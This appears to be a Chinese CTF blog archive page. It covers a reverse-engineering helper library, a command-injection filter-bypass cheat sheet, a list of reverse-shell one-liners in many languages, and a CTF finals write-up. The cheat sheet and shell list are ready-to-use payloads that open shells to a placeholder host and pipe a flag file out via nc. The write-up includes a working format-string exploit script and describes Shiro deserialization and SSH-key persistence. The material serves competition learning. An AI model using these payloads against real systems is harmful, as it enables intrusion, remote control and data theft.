分类 Learning 下的文章

什么是REGadgets

REGadgets,顾名思义,就是一个Reverse中常用的,提供给使用者代码片段的库,可以加快逆向速度,甚至直接爆破出结果。

REGadgets 如何获取

REGadgets目前还在开发中,也就是只在小范围测试中,开发者将用它参加每一场XCTF分站赛,所有的WP都是用它来写的,以保证REGadgets库与时俱进。

REGadgets 项目结构

截至到 2024/09/30 REGadgets项目目录如下。

C:.
│   .gitignore
│   README.md
│   __init__.py
│
├───bases
│       base128.py
│       base2048.pyd
│       base2048.pyi
│       base45.py
│       base58.py
│       base62.py
│       base65536.py
│       base91.py
│       bases.py
│       py3base92.py
│       __init__.py
│
├───bits
│       bits.py
│       cstyle.py
│       __init__.py
│
├───bruteforce
│       bruteforcer.py
│       __init__.py
│
├───crypto
│       aes.py
│       blowfish.py
│       bxors.py
│       rc4.py
│       tea.py
│       xtea.py
│       xxtea.py
│       __init__.py
│
├───trans
│       sbox.py
│       __init__.py
│
└───utils
        z3util.py
        __init__.py

REGadgets库相关介绍及使用方法

regadgets.bases

这个库中,提供了 base 相关的编码解码,而且,regadgets提供了换表的快捷方案。

例题 BaseCTF2024 BasePlus

from regadgets import *
enc = b'lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!'
k = 0xe
dec = decode_b64(bxor(enc, [k for _ in range(len(enc))]).decode(),
                  '/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC')

print(dec)
# b'BaseCTF{BA5e_DEcoD1N6_sEcr3t}\x00'

在本例中,通过regadgets.bases.decode_b64我们对enc异或后的东西(base64编码后的东西)进行了解码,表是第二个参数。

例题 CDDC2024 Quals Emoji32

regadget的bases,支持换emoji表,因为Python的str对于Unicode非常友好。

from regadgets import *
emoji_table = ['😀','😥','😠','😱','😴','🤢','😇','😈','👋','✊','👌','✌','🤲','🙌','👏','🤝','🐶','🐱','🐭','🐹','🐰','🦊','🐻','🐼','🍎','🍌','🍓','🍑','🍕','🍔','🍟','🍦']
emoji_table = "".join(emoji_table)
encoded = "🤢😥😇😴🐭🦊😥✊✌️🍕🐰😴🍎🐭👌🐰🤢😴"
s = encoded.replace('\ufe0f', '') # Remove Wrong Char
while True:
    try:
        print(decode_b32(s, emoji_table))
        # (LIT)_(LIT)
        break
    except:
        s += '=' # Fix Padding
        continue

regadgets.bits

这个子库中,提供了位与数的相关操作。

# 相关提供的函数有这些
from .bits import rol16, rol32, rol64, rol8, ror16, ror32, ror64, ror8, byte2dword, dword2byte, byte2qword, qword2byte, pack_dword, unpack_dword, b2l, l2b
from .cstyle import cstyle_arr32

rol & ror

这些函数用于在Python下执行相应位数的循环左移和循环右移。

byte2word byte2dword byte2qword

用于将Python的bytes 2个/4个/8个 打包成为 List[int],可选是否进行Padding。其中int是word或dword或qword,小端序,方便后续进行TEA族加密。

word2byte dword2byte qword2byte

用于将List[int] 解包为Python bytes,小端序。用于将外部的数据(程序中提取出来的)快速进行处理。

pack_dword

用于将[1, 2, 3, 4, 5, 6] 这样的List[int],两两打包为形如 [(1, 2), (3, 4), (5, 6)] ,方便进行TEA族加密。

unpack_dword

用于将 [(1, 2), (3, 4), (5, 6)] 解包为 [1, 2, 3, 4, 5, 6] 这样的List[int]

l2b b2l

从Crypto.Util.number里面复制出来的long_to_bytes和bytes_to_long,用于大端序的互相转换。

regadgets.bruteforce

本子库用于解决逆向工程中的一些基础爆破问题。

regadgets.bruteforce.rg_brute_forcer

基础的Reverse下的爆破函数,通过检测解密后文本是否含有flag(可以进行修改),且解密后均为明文,来进行反向爆破,并还原出解密链。
本函数可以进行定制化扩展,由于特殊的模块化设计,可以自己手写一些常见算法,并在这些算法中爆破。
未来的话,这个函数可能会写成Cython实现的,用来加速爆破进程。

使用例

from regadgets import *

raw = list(b'flag{124214782134798217}')

for i in range(len(raw)):
    raw[i] ^= 114
    raw[i] += 514
    raw[i] ^= 810
    raw[i] &= 0xff

rg_brute_forcer(raw, 3)
'''
尝试深度 1 的解密...
[失败] 没有在深度 1 找到解密方案,用时 0.003998994827270508秒
尝试深度 2 的解密...
[失败] 没有在深度 2 找到解密方案,用时 2.940094470977783秒
尝试深度 3 的解密...
找到正确解密链: [('xor_decrypt', 20), ('mod_add_decrypt', 2), ('xor_decrypt', 76)]
解密结果: b'flag{124214782134798217}'
[成功] 在深度 3 找到解密方案,用时 59.33841252326965秒
'''

regadgets.crypto

regadgets.crypto.aes

标准的AES实现,根据比赛可以进行手动魔改。

regadgets.crypto.blowfish

标准的blowfish实现,根据比赛可以进行手动魔改。

regadgets.crypto.rc4

提供rc4_init, rc4_crypt, rc4_keystream三个函数,在init的时候返回S盒,crypt的时候提供s盒和data用于加密,keystream函数可以只返回S盒生成的key长度,可以手动指定box_size,因为在 BaseCTF2024 出了一个 S盒大小128的题目。

regadgets.crypto.bxors

提供了相关的XOR实现,比如 x_0 ^ x_1, x_1 ^ x_2, x_2 ^ x_3, ..... , x_(n-1) ^ x_n, x_n (我们称之为向右异或,bxorr)的加密解密。
除此之外,还提供了bxor(用于将两个等长的bytes | list进行互相异或)。
最常用的是,bxor_cycle,用于将第一个参数进行循环异或第二个参数(bytes | list)
一个常用的例子

# 对于一个数组循环异或 b'my_key'
enc = [...]
raw = bxor_cycle(enc, b'my_key')
# 对于一个数组进行异或 0xEE
raw = bxor_cycle(enc, b'\xee')
# 对于一个数组进行异或循环变量 i
raw = bxor_cycle(enc, range(len(enc)))

regadgets.crypto.tea / xtea / xxtea

用 python ctypes 实现的 TEA族加密。可以自行指定 delta / rounds, 对于xxtea可以指定很多参数,甚至是shift函数,具体请见其他题解。

regadgets.trans

用于S盒之类的变换

regadgets.trans.sbox

提供了 generate_sboxsbox_transform 两个函数。
如例题

from regadgets import *
from hashlib import md5
str1 = [0x28, 0x5F, 0x40, 0x34, 0x36, 0x32, 0x30, 0x21, 0x30, 0x38, 0x21, 0x36, 0x5F, 0x30, 0x2A, 0x30, 0x34, 0x34, 0x32, 0x21, 0x40, 0x31, 0x38, 0x36, 0x25, 0x25, 0x30, 0x40, 0x33, 0x3D,
        0x36, 0x36, 0x21, 0x21, 0x39, 0x37, 0x34, 0x2A, 0x33, 0x32, 0x33, 0x34, 0x3D, 0x26, 0x30, 0x5E, 0x33, 0x26, 0x31, 0x40, 0x3D, 0x26, 0x30, 0x39, 0x30, 0x38, 0x21, 0x36, 0x5F, 0x30, 0x2A, 0x26]
str2 = [0x35, 0x35, 0x35, 0x36, 0x35, 0x36, 0x35, 0x33, 0x32, 0x35, 0x35, 0x35, 0x35, 0x32, 0x32, 0x32, 0x35, 0x35, 0x36, 0x35, 0x35, 0x36, 0x35, 0x35, 0x35, 0x35, 0x32, 0x34, 0x33, 0x34,
        0x36, 0x36, 0x33, 0x33, 0x34, 0x36, 0x35, 0x33, 0x36, 0x36, 0x33, 0x35, 0x34, 0x34, 0x34, 0x32, 0x36, 0x35, 0x36, 0x35, 0x35, 0x35, 0x35, 0x35, 0x32, 0x35, 0x35, 0x35, 0x35, 0x32, 0x32, 0x32]
xxx = [0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F,
       0x50, 0x7B, 0x7D, 0x61, 0x73, 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x41, 0x53, 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x5A, 0x58, 0x43, 0x56, 0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x7A, 0x78, 0x63, 0x76, 0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F]
r = []
for i in range(62):
    a = xxx.index(str1[i])
    b = xxx.index(str2[i])
    r.append(b * 23 + a)
# private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
print(bytes(r))

# 手动转换一下 查表
r = b'?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'

###### 从这里开始是S盒变换
data_from = b'abcdefghijklmnopqrstuvwxyz12345'
data_to = b'pqhrsidtujvwkebxylz1mf23n45ogca'
_, ibox = generate_sbox(data_from, data_to)
r = sbox_transform(r, ibox)

print(bytes(r))
print(f"flag{{{md5(bytes(r)).hexdigest()}}}")
# flag{63b148e750fed3a33419168ac58083f5}

regadgets.utils

regadgets.utils.z3util

目前只有z3_get_models,用于获取Z3的Solver的所有解。

z3 获取所有解

from z3 import *

def get_models(s, count = 1):
    result = []
    while len(result) < count and s.check() == sat:
        m = s.model()
        result.append(m)
        # Create a new constraint the blocks the current model
        block = []
        for d in m:
            # d is a declaration
            if d.arity() > 0:
                raise Z3Exception("uninterpreted functions are not supported")
            # create a constant from declaration
            c = d()
            if is_array(c) or c.sort().kind() == Z3_UNINTERPRETED_SORT:
                raise Z3Exception("arrays and uninterpreted sorts are not supported")
            block.append(c != m[d])
        s.add(Or(block))
    return result

x, y = Ints('x y')
s = Solver()
s.add(And(And(x > 0, y > 0), x * y < 10))
m = get_models(s, 1000) # 获取最多1000个解
print(m)
# [[x = 8, y = 1], [x = 1, y = 2], [x = 2, y = 1], [x = 9, y = 1], [x = 4, y = 2], [x = 3, y = 2], [x = 2, y = 2], [x = 1, y = 3], [x = 1, y = 4], [x = 1, y = 5], [x = 1, y = 6], [x = 1, y = 7], [x = 1, y = 8], [x = 1, y = 9], [x = 2, y = 4], [x = 3, y = 3], [x = 5, y = 1], [x = 6, y = 1], [x = 7, y = 1], [x = 4, y = 1], [x = 3, y = 1], [x = 2, y = 3], [x = 1, y = 1]]

写在开头

你首先需要了解题目对于字符串的过滤与禁用情况,所以建议搭配Fuzz进行使用。

命令分割

如果给你这样的php

<?php
    $ip = $_GET['ip'];
    system("ping -c 4 " . $ip);
?>

显然ip可控,所以你需要构造一个payload使得你的命令被正确执行。

各种分割策略如下

  • ; (Semicolon): Allows you to execute multiple commands sequentially.
  • && (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
  • || (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
  • & (Background): Execute the command in the background, allowing the user to continue using the shell.
  • | (Pipe): Takes the output of the first command and uses it as the input for the second command.
command1; command2   # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2  # Execute command1 in the background
command1 | command2  # Pipe the output of command1 into command2

空格绕过

1.$IFS$9 ${IFS} $IFS
cat$IFS$9/flag
2.<字符的使用
Input redirection. The < character tells the shell to read the contents of the file specified.
cat</flag cat</etc/passwd
3.ANSI-C Quoting

X=$'uname\x20-a'&&$X

4.Tab绕过
The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value 09.
;ls%09-al%09/home
5.换行绕过
Commands can also be run in sequence with newlines

original_cmd_by_server
ls

字符匹配绕过

1.如下面几种引号成双出现的时候可以分开字符,特别注意{}中间要加一个,而且加一个{,}后,命令就会多执行一次
c``a""t f{,}l``a''g
2.通过echo -e来转义
echo -e '\x31' 将会输出1 echo -e '\x2f\x66\x6c\x61\x67' 则会输出/flag
还有下面一些

swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

3.反斜杠换行绕过

  • Commands can be broken into parts by using backslash followed by a newline

    $ cat /et\
    c/pa\
    sswd
  • URL encoded form would look like this:

    cat%20/et%5C%0Ac/pa%5C%0Asswd

4.通过命令绕过(在斜杠被屏蔽时)
Commands execution without backslash and slash - linux bash

swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash

比如这个${HOME:0:1}还有其他玩法,这个相当于是取了env中的HOME来进行截断,你可以先取env然后观察里面是否有你想要的字符,然后再进行截断即可进行绕过
5.通过斜杠与反斜杠来绕过

w\ho\am\i
/\b\i\n/////s\h

6.通过$@来绕过
$0: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, $0 will typically give the name of the shell.

who$@ami
echo whoami|$0

7.通过$()来绕过

who$()ami
who$(echo am)i
who`echo am`i

8.可变扩展绕过

sh-5.2# echo /???
/bin /dev /etc /lib /mnt /opt /run /srv /sys /tmp /usr /var
sh-5.2# echo /???/??
/bin/ar /bin/as /bin/cp /bin/dd /bin/df /bin/du /bin/id /bin/ip /bin/ld /bin/ln /bin/ls /bin/mv /bin/nc /bin/nl /bin/nm /bin/od /bin/pg /bin/pr /bin/ps /bin/rm /bin/sg /bin/sh /bin/ss /bin/su /bin/tc /bin/tr /bin/ul /bin/wc /bin/xz /dev/fd /lib/tc /sys/fs /var/db
sh-5.2# echo /???/???
/bin/arp /bin/awk /bin/cal /bin/cat /bin/cmp /bin/col /bin/ctr /bin/cut /bin/dcb /bin/dir /bin/dwp /bin/env /bin/fmt /bin/gdb /bin/gio /bin/git /bin/gpg /bin/gpm /bin/jar /bin/jdb /bin/jps /bin/ksu /bin/ldd /bin/lz4 /bin/mev /bin/mvn /bin/php /bin/pip /bin/psl /bin/ptx /bin/pwd /bin/rev /bin/scp /bin/sed /bin/seq /bin/sln /bin/ssh /bin/sum /bin/tac /bin/tar /bin/tee /bin/tic /bin/toe /bin/top /bin/tty /bin/vim /bin/who /bin/xjc /bin/xxd /bin/yes /bin/zic /bin/zip /bin/zsh /dev/bus /dev/cpu /dev/dri /dev/fb0 /dev/log /dev/mem /dev/net /dev/ppp /dev/pts /dev/rtc /dev/shm /dev/snd /dev/tty /dev/vcs /dev/vda /dev/vdb /etc/X11 /etc/cni /etc/gdb /etc/iwd /etc/php /etc/rpc /etc/ssh /etc/ssl /etc/xdg /etc/zsh /lib/awk /lib/gio /lib/icu /lib/iwd /lib/jvm /lib/lua /lib/php /lib/ssh /lib/tar /lib/zsh /run/log /srv/ftp /sys/bus /sys/dev /usr/bin /usr/lib /usr/src /var/lib /var/log /var/opt /var/run /var/tmp
sh-5.2# echo /???/??t
/bin/cat /bin/cut /bin/fmt /bin/git /dev/net /var/opt

显然/???/??t可以拿到我们的cat,直接执行,会把/bin/cut....到/var/opt这些东西都当作cat的参数进行输入
所以我们附加在后面使用/???/p??s??来获取到/bin/passwd /etc/passwd /etc/pkcs11 /lib/pkcs11
/???/??t /???/p??s??就可以拿到我们想要的/etc/passwd了,当然如果过滤没有那么严,可以把?换成几个正确的来减少匹配到的东西的个数。
echo /???/../f***当然这样可以匹配到根目录下的flag
当然不光可以使用上面方法直接cat,我们也可以定义变量

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

9.wildchar绕过

powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

时间忙注(大嘘)

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

如果匹配对了,那么就sleep 5s这样就很显然

内联执行

通过 `` 可以实现,如 cat `ls` 则先会执行ls,把ls的结果作为输入的字符串再cat,这样的操作结果是输出当前目录下ls出来的所有文件。
这样也可以配合字符串匹配绕过使用,如 `echo Y2F0IC9mbGFn | base64 -d` 这个payload将会执行cat /flag

写在最后

这个文章有点标题党了,因为我一下搞不了那么多,所以以后想到啥再来补啥吧,挖个坑,打算搞一个类似于fenjing那种非常好用的一键式工具,自动绕过所有的检测。

在服务端启动

nc -nvlp YOUR_PORT

在客户端执行

bash

bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

sh

0<&196;exec 196<>/dev/tcp/YOUR_IP/YOUR_PORT; sh <&196 >&196 2>&196

socat

socat tcp-connect:YOUR_IP:YOUR_PORT exec:sh,pty,stderr,setsid,sigint,sane

nc

normal
nc -e /bin/sh YOUR_IP YOUR_PORT
without -e
touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("YOUR_IP","YOUR_PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("YOUR_IP",YOUR_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Telnet

TF=$(mktemp -u); mkfifo $TF && telnet YOUR_IP YOUR_PORT 0<$TF | /bin/sh 1>$TF

ksh

ksh -c 'ksh -i > /dev/tcp/YOUR_IP/YOUR_PORT 2>&1 0>&1'

Perl

perl -e 'use Socket;$i="YOUR_IP";$p=YOUR_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"YOUR_IP:YOUR_PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

当你只需要将命令执行结果发回去的时候:

cat /flag | nc YOUR_IP YOUR_PORT这样就行了

写在开头

2024/7/19 - 2024/7/21 作为西安电子科技大学的L-Team和7-Team,参加了全国大学生信息安全竞赛总决赛,
其中,L-Team拿下全国12名的成绩,获得全国一等奖(1~22名),7-Team拿下35名,荣获全国二等奖(23~46名)。
2024-07-21T17:11:47.png
本文会从笔者实时解题思路出发,以第一人称的视角记录,希望给后来人一些应对的措施。
队友: luo(队长, pwn 手), chick(pwn 手), passers-by(web 手), 0xcafebabe(re | web 手)

第 4294967291 天 - Build

.git 泄露

第 0 天 - 环境测试

早上赶高铁,下午到达成都,到了后回酒店收拾然后去比赛场地进行环境测试,我们4个人固定了属于自己的网线以固定IP地址,我则开了docker compose容器(codimd)来进行在线同步文档,队友开了viper(红队神器),peiqi等..., 我们把各自被分配到的IP放入了Codimd在线文档中以快速访问。
在这之前,我利用xzSpider先知社区的技术文档全部扒了下来以供比赛时候查看,并且我还准备了许多离线工具和文档,工具例如
1.CyberChef - CTFers的离线瑞士军刀
2.jadx - Java 反编译利器
3.JByteMod - Java 字节码更改神器
4.godzilla - 中文名哥斯拉,用来管理Webshell。
5.Behinder - 中文名冰蝎,用来管理Webshell。
6.Webshell_Generate - 用来生成Webshell木马。
7.WireShark - 流量分析神器
8.dnSpy - .NET 分析利器
9.IDA, IDA-64, IDA8, IDA8-64 逆向神器 (伏笔:ida不支持mipsl架构)
10.Py基础库

httpx
requests
pycryptodome
z3-solver
pyshark
numpy
gmpy2
Pillow
pandas
dirsearch
paramiko
colorlog
fenjing
flask

11.fscan和nmap ip/端口扫描神器
12.dirsearch(py包)目录扫描神器
13.fenjing(py包)SSTI神器
14.VmWare WorkStation 17
15.Kali 虚拟机 with External Internet
16.php_enhanced_zh.chm
17.x32dbg/x64dbg
18.burp suite
19.010Editor
20.de4dot - .NET 反混淆神器
21.GDA - apk分析神器
22.VSCODE && VS studio
23.Alacritty - 我喜欢用的终端
24.obs studio - 比赛要全程录屏
25.bandizip && 7zip
26.Proxifier
27.Everything
28.IntelliJ IDEA Ultimate
29.nodejs && npm 并安装基础包 (当时忘了下载了导致悲剧)
30.Java 8 && 一个高版本,并且会自己换环境变量来切版本。
31.HeidiSQL - 多个sql数据库的管理
32.至少一个Windows系统,用于渗透。
33.C&&C++ 完整工具链
34.Rust工具链
35.C#工具链
36.phpStudy && xdebug + vscode 本机调试php代码,详情见另一篇文章。
.......
总之,工具很多,我们把工具和文档(13GB左右)放在了一个移动硬盘,然后比赛前所有队员都拿着电脑来拷贝一份,保证所有人都有这些tools和文档,来保证进度的同步和完整性。

就这样,第0天就过去了,- 不过在晚上,主办方竟然在群里发了1.3GB的附件加密压缩包的百度网盘链接,说是下载然后第二天备用,顺便在21点左右发了第二天可信计算的VMWARE镜像和操作文档,防止和去年一样被冲于是禁言了群聊,好一个猝不及防,好一个酒店网速。-

第一天 AWDP + CTF(可信计算) (炸裂)

早上我们赶到现场后,由于我用的是无线鼠标和键盘,主办方开了信号干扰,导致全部失效,还好早预料到了,所以带了有线的鼠标(接口在20cm外键盘根本用不了,所以以后线下断网赛就别带无线了,全上有线,最好是军工级别😋,抗干扰)。
由于我们之前从来没有打过AWDP,我开始的时候优先选择了Break(攻击),但是好半天都没成功拿到flag,一转眼,防御3血全被抢完了,我才意识到亏大了,由于AWDP每一轮的分会加上你当前所有分的总和,所以我们相当于少吃上了很多轮的分,而且n血分分数还会递减,导致我们每一轮都比别人少加分,最后导致了严重的结果。所以AWDP比赛防御比攻击重要速度要比准确重要,得到的经验是,先把所有的题目fix掉,然后跟着Attack榜打,由于我们的失误,导致AWDP直接爆炸,而且CTF也没时间做,可信计算0分,AWDP 48名左右,感觉已经与国二无缘了,和队友开玩笑明天渗透赛拿个全场第一说不定还有救,当天晚上,我从0学习了渗透,和7Team一起刷了春秋云境的Privilege赛题(伏笔),顺便把h0ny和X1r0z的blog全拉了下来给渗透用,掌握了Jenkins和Gitlab如何渗透.....然后后面打域的时候照着WP复现也很困难,就没打了,整体打了5个多小时吧。

AWDP-PWN

CHR

Defense

convert选项里在调用iconv后尝试复制4 * size个字节到当前的堆上,存在堆溢出,将memcpy的第三个参数改为size通过。

anime

Defense

存在格式化字符串漏洞。将printf(format)改为printf("%s", format)。由于前面就有一个字符串hello,%s。所以我们只用想办法将原来的第一个参数放到第二个;利用偏移将%s的地址放到第二个参数里。将call printf前的mov eax, 0删除,后面的往前移可以多出来修改的空间。

Attack

输入的数据经过了 AES 加密,密钥可以直接找到。
key: e/Nc1pxHXV5vHXojGHv5NA==

#! /usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *
from Crypto.Cipher import AES

context(os="linux", arch="amd64")
TMUX_TERMINAL()
# context.log_level = "debug"
# context.newline=b'\r\n'

elf_path = './pwn'
libc_path = './libc.so.6'

init_elf_with_libc(elf_path, libc_path, path='./anime', force=True)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

conn_context(host='123.56.92.131', port=39363, level=REMOTE, elf=elf_path)
conn_context(args=[PRE_LOAD], rpath=[libc_path, './libcrypto.so.1.1', './libdl.so.2', './libpthread.so.0'])

elf = ELF(elf_path)
libc = ELF(libc_path, checksec=False)
io = conn()

key = b''
def ss(pad):
    aes = AES.new(key, AES.MODE_ECB)
    io.sendafter(b'what\'s your favourite anime:', aes.encrypt(pad))
    
def exp():
    global key
    key_raw = [123, 243, 92, 214, 156, 71, 93, 94, 111, 29, 122, 35, 24, 123, 249, 52]
    for i in key_raw:
        key += p8(i)
    
    aes = AES.new(key, AES.MODE_ECB)
    io.sendafter(b'name', b'a' * 0x8 + p16(0x150f))

    ss(b'%12$p%15$p%19$p'.ljust(0x10, b'A'))

    io.recvuntil(b'0x')
    stack = int(io.recv(12), 16) - 0x100 + 0x18 -0x50
    success(hex(stack))

    io.recvuntil(b'0x')
    libc.address = int(io.recv(12), 16) - libc.symbols['__libc_start_main'] - 243
    success(hex(libc.address))

    io.recvuntil(b'0x')
    elf.address = int(io.recv(12), 16) - elf.symbols['main']
    success(hex(proc.address))
    
    
    pad = f'%{stack & 0xffff}c%6$hn'.encode()
    ss(pad.ljust(0x10, b'a'))

    main_ptr = (elf.address + 0x1553) & 0xffff
    pad = f'%{main_ptr}c%{0x27 + 6}$hhn'.encode()
    # print(len(pad))
    ss(pad.ljust(0x10, b'a'))

    sleep(1)
    io.send(p64(stack + 0x50) + p64(stack + 0x52))
    
    one = libc.address + 0xe3b01
    pad = f'%{one & 0xffff}c%10$hn'.encode()
    ss(pad.ljust(0x10, b'a'))

    pad = f'%{(one >> 16) & 0xff}c%11$hhn'.encode()
    # DEBUG('b * $rebase(0x15CB)')
    ss(pad.ljust(0x10, b'a'))

    pass


try:
    exp()
    io.interactive()
finally:
    rm_core()
    pass

ezHeap

Defense

输入 json 格式。

{"choice":"new","index":0,"length":1,"message":"1"}

rm里有 UAF,但尝试直接将free(heap_list[i])直接改为heap_list[i] = 0时 check 不过。但在modify时存在堆溢出,将newmodify的大小固定为 1024 通过。

AWDP-Web

ezjs

看了下录制回放,发现自己4个小时都在搞这个,就是没打通,隔壁队友在盯着字节码修Java,但是最后炸了。

Defense

在文件上传的地方把/.ejs/i加入正则匹配,然后对上传内容加了exec和globals过滤。
不过隔壁7队直接把..过滤掉了,就过了.....

Attack (未打通)

赛后和其他战队交流发现是上传名为.ejs的文件就没有后缀了,真的没想到。

ShareCard

Defense

SSTI,把它的safe_render_templete改成官方自己的,就安全了。

Attack (未打通)

...fenjing用不了,还没学SSTI,就没打了。

第二天 渗透 + CTF(工控安全 车联网安全)

还好第二天不是动态积分,要不然真丸辣。

渗透题目简介

在这个靶场中,您将扮演一名渗透测试工程师,接受雇佣任务来评估 VertexSoft 科技有限公司的网络安全。VertexSoft 是一家专注于互联网与信息技术领域的领先公司,该公司致力于为客户提供卓越的数字解决方案,以满足各种业务需求。 您的任务是首先入侵公司在公网上暴露的应用程序,然后运用后渗透技巧深入 VertexSoft 公司的内部网络。在这个过程中,您将寻找潜在的弱点和漏洞,并逐一接管所有服务。最终的目标是接管域控制器,从而控制整个内部网络。靶场中共设置了8个Flag,它们分布在不同的靶机上,您需要找到并获取这些Flag作为您的成就目标。 该靶场已为选手提供了 VPS,其与靶场入口同一网段,仅用于反弹 Shell 和反向代理使用。反弹 Shell 和反向代理时请使用 VPS 内网 IP 作为监听地址。 VPS SSH 凭据:root/*********,请选手登陆后自行修改 SSH 密码。

ERP (Shiro+Spring+heapdump)

给了一个erp主机ip,一个vps主机ip(其实没用,因为erp主机不出网,但是还是建议更改vps的密码),先扫描erp主机的ip,发现开着一个Web服务和SSH端口,随后得知Web服务有Spring的heapdump泄露,我们先下载泄露的heapdump,然后查看/actuator/beans,注意到是Shiro,我们想到了春秋云境的Hospital题目中的Shiro+Spring,我们使用JDumpSpider进行分析,注意到有Key泄露,且是AES-GCM的加密,我们使用Shiro反序列化利用工具SummerSec/ShiroAttack2,勾选GCM后即可拿下Shell,由于ssh是开的,且whoami后发现是root权限,我们将自己的SSH公钥放到/root/.ssh/authorized_keys里面,就可以通过ssh链接远程靶机了,随后cat /flag.txt即可拿下第一个flag。
随后我们在ERP上穿了stowaway agent然后把java服务下掉了,正向连接我们队友的ip的8080服务端口做的代理,设置Proxifier,让我们访问192.168.8.*的时候代理到他的内网,我们就可以进行内网扫描渗透了。

内网横向扫描信息

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
(icmp) Target 192.168.8.146   is alive
(icmp) Target 192.168.8.9     is alive
(icmp) Target 192.168.8.16    is alive
(icmp) Target 192.168.8.12    is alive
(icmp) Target 192.168.
is alive
(icmp) Target 192.168.8.26    is alive
(icmp) Target 192.168.8.42    is alive
(icmp) Target 192.168.8.253   is alive
[*] Icmp alive hosts len is: 8
192.168.8.12:88 open
192.168.8.9:8000 open
192.168.8.38:3306 open
192.168.8.9:1433 open
192.168.8.26:445 open
192.168.8.38:445 open
192.168.8.12:445 open
192.168.8.16:445 open
192.168.8.9:445 open
192.168.8.26:139 open
192.168.8.38:139 open
192.168.8.12:139 open
192.168.8.16:139 open
192.168.8.16:135 open
192.168.8.9:139 open
192.168.8.26:135 open
192.168.8.38:135 open
192.168.8.12:135 open
192.168.8.9:80 open
192.168.8.9:135 open
192.168.8.26:8080 open
192.168.8.42:22 open
192.168.8.146:22 open
192.168.8.16:8080 open
192.168.8.42:80 open
192.168.8.146:8080 open
192.168.8.9:8172 open
192.168.8.42:8060 open
192.168.8.42:9094 open
[*] alive ports len is: 29
start vulscan
[*] NetInfo
[*]192.168.8.9
   [->]WIN-IISSERER
